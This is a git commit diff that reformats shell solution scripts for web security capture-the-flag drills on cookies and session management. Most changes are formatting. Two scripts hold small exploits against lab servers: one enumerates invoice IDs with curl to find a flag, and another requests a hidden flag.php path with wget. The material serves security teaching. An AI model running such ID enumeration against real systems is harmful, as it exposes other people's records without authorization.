chore(cookies): update solution linting for drills

Signed-off-by: Gabriel Mocanu <gabi.mocanu98@gmail.com>

Author: gabrielmocanu

chapters/web-application-security/cookies-and-session-management/drills/beep-beep-boop/sol/solution.sh

@@ -1,14 +1,12 @@
 #!/bin/bash
 PORT=30014
 
-if [[ $1 == "local" ]]
-then
-    url='http://127.0.0.1:'$PORT
-elif [[ $1 == "remote" ]] && [[ -z $2 ]]
-then
-    url='http://141.85.224.101:'$PORT
+if [[ $1 == "local" ]]; then
+  url='http://127.0.0.1:'$PORT
+elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
+  url='http://141.85.224.101:'$PORT
 else
-    url=$1':'$2
+  url=$1':'$2
 fi
 
 # Beep Beep Boop

chapters/web-application-security/cookies-and-session-management/drills/chef-hacky-mchack/sol/solution.sh

@@ -1,14 +1,12 @@
 #!/bin/bash
 PORT=30015
 
-if [[ $1 == "local" ]]
-then
-    url='http://127.0.0.1:'$PORT
-elif [[ $1 == "remote" ]] && [[ -z $2 ]]
-then
-    url='http://141.85.224.101:'$PORT
+if [[ $1 == "local" ]]; then
+  url='http://127.0.0.1:'$PORT
+elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
+  url='http://141.85.224.101:'$PORT
 else
-    url=$1':'$2
+  url=$1':'$2
 fi
 
 # Chef hacky mchack

chapters/web-application-security/cookies-and-session-management/drills/great-names/sol/solution.sh

@@ -1,14 +1,12 @@
 #!/bin/bash
 PORT=30018
 
-if [[ $1 == "local" ]]
-then
-    url='http://127.0.0.1:'$PORT
-elif [[ $1 == "remote" ]] && [[ -z $2 ]]
-then
-    url='http://141.85.224.101:'$PORT
+if [[ $1 == "local" ]]; then
+  url='http://127.0.0.1:'$PORT
+elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
+  url='http://141.85.224.101:'$PORT
 else
-    url=$1':'$2
+  url=$1':'$2
 fi
 
 # Great names

chapters/web-application-security/cookies-and-session-management/drills/mind-your-own-business/sol/solution.sh

@@ -1,29 +1,26 @@
 #!/bin/bash
 PORT=30019
 
-if [[ $1 == "local" ]]
-then
-    url='http://127.0.0.1:'$PORT
-elif [[ $1 == "remote" ]] && [[ -z $2 ]]
-then
-    url='http://141.85.224.101:'$PORT
+if [[ $1 == "local" ]]; then
+  url='http://127.0.0.1:'$PORT
+elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
+  url='http://141.85.224.101:'$PORT
 else
-    url=$1':'$2
+  url=$1':'$2
 fi
 
 # Mind your own business
 echo "Start exploit for Mind your own business"
 url=$url'/invoice.php?invoice='
 fibb_1=1
 fibb_2=1
-while [ $fibb_2 -le 50000 ]
-do
-    flag=$(curl -s $url$fibb_2 | grep -o "SSS{.*}")
-    if [[ ! -z $flag ]]; then 
-        break
-    fi
-    fibb_2=$(($fibb_2 + $fibb_1))
-    fibb_1=$(($fibb_2 - $fibb_1))
+while [ $fibb_2 -le 50000 ]; do
+  flag=$(curl -s $url$fibb_2 | grep -o "SSS{.*}")
+  if [[ ! -z $flag ]]; then
+    break
+  fi
+  fibb_2=$(($fibb_2 + $fibb_1))
+  fibb_1=$(($fibb_2 - $fibb_1))
 done
 echo "Flag is $flag"
 echo "----------------------------"

chapters/web-application-security/cookies-and-session-management/drills/santa/sol/solution.sh

@@ -1,14 +1,12 @@
 #!/bin/bash
 PORT=30021
 
-if [[ $1 == "local" ]]
-then
-    url='http://127.0.0.1:'$PORT
-elif [[ $1 == "remote" ]] && [[ -z $2 ]]
-then
-    url='http://141.85.224.101:'$PORT
+if [[ $1 == "local" ]]; then
+  url='http://127.0.0.1:'$PORT
+elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
+  url='http://141.85.224.101:'$PORT
 else
-    url=$1':'$2
+  url=$1':'$2
 fi
 
 # Santa

chapters/web-application-security/cookies-and-session-management/drills/traverse-universe/sol/solution.sh

@@ -1,18 +1,15 @@
 #!/bin/bash
 PORT=30022
 
-if [[ $1 == "local" ]]
-then
-    url='http://127.0.0.1:'$PORT
-elif [[ $1 == "remote" ]] && [[ -z $2 ]]
-then
-    url='http://141.85.224.101:'$PORT
+if [[ $1 == "local" ]]; then
+  url='http://127.0.0.1:'$PORT
+elif [[ $1 == "remote" ]] && [[ -z $2 ]]; then
+  url='http://141.85.224.101:'$PORT
 else
-    url=$1':'$2
+  url=$1':'$2
 fi
 
 # Traverse universe
 echo "Start exploit for Traverse universe"
-url=$url
-wget $url'/earth/moon/NASA/flag.php'
+wget "$url/earth/moon/NASA/flag.php"
 echo "----------------------------"